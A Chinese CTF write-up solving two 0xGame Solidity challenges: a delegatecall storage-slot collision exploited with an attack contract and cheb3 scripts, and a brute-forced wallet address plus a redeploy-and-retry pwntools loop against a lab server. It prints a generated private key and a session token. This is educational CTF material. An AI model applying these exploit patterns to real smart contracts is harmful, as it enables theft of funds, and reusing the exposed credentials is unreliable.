警告
本文最后更新于 2024-02-13,文中内容可能已过时。
week3
0xcallsino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract CasinoBackstage {
uint number;
uint target;
function setnumber(uint _number) public {
number = _number;
target = uint(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender))) % 114514;
}
}
contract callsino {
address casinoaddr;
uint target = 1;
uint number;
constructor(address _casinoaddr) {
casinoaddr = _casinoaddr;
}
function setcasino(uint _number) external {
casinoaddr.delegatecall(abi.encodeWithSignature("setnumber(uint256)", _number));
}
function isSolved() external view returns (bool) {
require(number == target, "You loss!");
return true;
}
}
|
这里考的是delegatecall的知识
在调用delegatecall的时候,函数的操作对象会以操作的发出者为主体
并且delegatecall操作数据的时候,是按照Storage的slot位进行操作的
而不是按照变量名操作的
分析这题的CasinoBackstage和callsino两个contract
可以发现callsino的address casinoaddr刚好和CasinoBackstage的number都在slot0
setnumber方法刚好修改的就是slot0的值
也就是说我调用 casinoaddr.delegatecall修改的是 delegatecall所调用的合约的值的位置
这样的话,只需要先部署一个攻击合约,使他的setnumber作用是修改target和number为相同值
然后调用setnumber,把当前的address casinoaddr改为我刚部署的攻击合约
再调用一次setnumber
number == target的条件就满足了
攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Attack {
address casinoaddr;
uint number;
uint target;
function setnumber(uint _number) public {
number = _number;
target = _number;
}
}
|
然后用remix进行部署,部署完会发现调用setcasino()的时候会修改失败
原因是remix发送的数据格式有问题
可以有两个选择:
方法一
用solidity把地址写进去
1
2
3
4
|
function hack() public {
callsino ca = callsino(题目合约地址);
ca.setcasino((uint(uint160(address(攻击合约地址)))));
}
|
方法二
或者用web3.py/web3.js
写脚本进行交互
我这里为了省事,没有用Web3.py
用了一个为CTF优化过的基于Web3的库 cheb3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from cheb3 import Connection
from cheb3.utils import compile_file
entrant_abi, entrant_bytecode = compile_file("callsino.sol", "callsino", "0.8.9")['callsino']
conn = Connection('http://49.235.117.196:8545')
existing_account = conn.account("私钥")
target_address = "题目合约地址"
entrant_contract = conn.contract(
existing_account,
address=target_address,
abi=entrant_abi
)
entrant_contract.functions.setcasino(攻击合约地址).send_transaction()
from binascii import hexlify
for i in range(3):
print(hexlify(conn.get_storage_at(target_address,i)))
entrant_contract.functions.setcasino(0x1).send_transaction()
for i in range(3):
print(hexlify(conn.get_storage_at(target_address,i)))
|
也是一样的
目的都是改address casinoaddr改为刚部署的攻击合约
week4
[Week 4] TestYourLuck
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Void {
constructor() {}
}
contract TestLuck {
address payable owner;
bool solved;
constructor(address payable _owner) {
owner = _owner;
}
modifier OnlyYou {
require(uint256(uint160(msg.sender)) % 50 == 20, "NoNo!!");
_;
}
function makevoid() external {
Void v = new Void();
}
function checkyourluck() external OnlyYou {
Void v = new Void();
if(uint256(uint160(address(v))) % 50 == 30) {
solved = true;
}
else {
selfdestruct(owner);
}
}
function isSolved() external returns (bool) {
return solved;
}
}
|
要求是通过checkyourluck函数,得先满足OnlyYou这个modifier
先得让你的钱包地址$mod 50$后为20
可以考虑纯碰运气,手工生成钱包地址,50分之一的几率
我去找了个生成钱包地址的python实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from ecdsa import SigningKey, SECP256k1
import sha3
def checksum_encode(addr_str): # Takes a hex (string) address as input
keccak = sha3.keccak_256()
out = ''
addr = addr_str.lower().replace('0x', '')
keccak.update(addr.encode('ascii'))
hash_addr = keccak.hexdigest()
for i, c in enumerate(addr):
if int(hash_addr[i], 16) >= 8:
out += c.upper()
else:
out += c
return '0x' + out
while True:
keccak = sha3.keccak_256()
priv = SigningKey.generate(curve=SECP256k1)
pub = priv.get_verifying_key().to_string()
keccak.update(pub)
address = keccak.hexdigest()[24:]
if int(address,16) % 50 == 20:
break
print("Private key:", priv.to_string().hex())
print("Address: ", checksum_encode(address))
|
1
2
|
Private key: 209fb3f347f2df4cf1798cd98c695f9c86fee6148def12ebe87b3cd1cb0416e2
Address: 0xb6598521e39b76f36a8E4213FF89995527BEE004
|
第二步就是让uint256(uint160(address(v))) % 50 == 30通过
这个还是碰运气,50分之一的几率
不过由于不通过的话,合约会自毁,所以每次还需要先部署合约
写个python脚本进行交互,先用pwntools去交互部署合约
sleep(10)是因为合约需要部署在新区块上,部署到网络上需要时间
然后再调用checkyourluck函数
get_storage_at是我用来调试的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
from cheb3 import Connection
from cheb3.utils import compile_file
from binascii import hexlify
from pwn import *
entrant_abi, entrant_bytecode = compile_file("TestLuck.sol", "TestLuck", "0.8.9")['TestLuck']
conn = Connection('http://49.235.117.196:8545')
# context.log_level = 'debug'
token = b"v4.local.K1koAEUV8vK60eD7ZYsdWmxp8st5wTc1A6wfEUiHQhLARoNRQ2WP15jTWntwwwFS54eU8_Bxaqwi_s7tJekzySmB06U6s9w4g2AglgHgN4urjf1yC1nWAsOD3KGpPrS9wqjwJK_oDBrJW4Jd4XixwWuveFR_AEYo4F6IL50VwY0v0g.VGVzdEx1Y2s"
def choice_2():
r = remote("49.235.117.196", 20000)
r.recvuntil(b":")
r.sendline(b"2")
r.sendline(token)
x = r.recvline()
contract_address = x.decode()[45:-1]
print("合约地址: ",contract_address)
r.close()
return contract_address
def choice_3():
r = remote("49.235.117.196", 20000)
r.recvuntil(b":")
r.sendline(b"3")
r.sendline(token)
x = r.recvline()
r.close()
return x
existing_account = conn.account("0x209fb3f347f2df4cf1798cd98c695f9c86fee6148def12ebe87b3cd1cb0416e2")
for i in range(50):
target_address = choice_2()
sleep(10)
entrant_contract = conn.contract(
existing_account, # specified the signer
address=target_address,
abi=entrant_abi
)
for i in range(2):
print(hexlify(conn.get_storage_at(target_address,i)))
entrant_contract.functions.checkyourluck().send_transaction()
for i in range(2):
print(hexlify(conn.get_storage_at(target_address,i)))
returned = choice_3()
if b'0xGame{' in returned:
print(returned)
break
|
